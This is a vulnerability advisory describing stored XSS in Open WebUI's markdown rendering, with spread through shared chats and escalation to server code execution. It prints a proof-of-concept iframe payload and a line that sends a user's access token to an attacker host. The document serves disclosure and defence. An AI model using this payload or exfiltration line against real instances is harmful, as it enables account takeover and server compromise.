Open WebUI: Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte…

Summary

A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel.

If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code.

This vulnerability also affects chat transcripts uploaded to https://openwebui.com/c/<user>/<chat_id>, allowing for wormable stored XSS in https://openwebui.com

Details

Stored XSS

The file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code:

		{:else if token.text.includes(`<iframe src="${WEBUI_BASE_URL}/api/v1/files/`)}
			{@html `${token.text}`}

That code checks if a chat message has an html tag which contains the text <iframe src="${WEBUI_BASE_URL}/api/v1/files/, and if so, it renders that html tag using {@html}, which is a dangerous Svelte functionality that allows text to be rendered as HTML code.

Attackers can abuse this by sending a chat message with the following payload: <iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.

This will cause a JavaScript alert window to be displayed every time that chat transcript is opened.

 

In a real attack scenario, instead of injecting alert(1) in the onload attribute, attackers can use the following code to steal the user's access token and send it to a server they control: fetch("https://attacker.com/?token=" + localStorage.getItem("token"))

This is possible because the access token is stored inside the user's localStorage, which is accessible by JavaScript.

Then, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking "Share"


If "Enable Community Sharing" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed


This makes the exploit a wormable Stored XSS. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori's profile, share it with other members of the open-webui community, and infect their profiles as well.

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RCE

If an attacker manages to steal an admin user's token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server.

The following HTTP request can be sent to the backend server to execute arbitrary python code.

 

PoC

Attackers can abuse this by sending a chat message with the following payload: <iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.

Impact

Attackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users' accounts.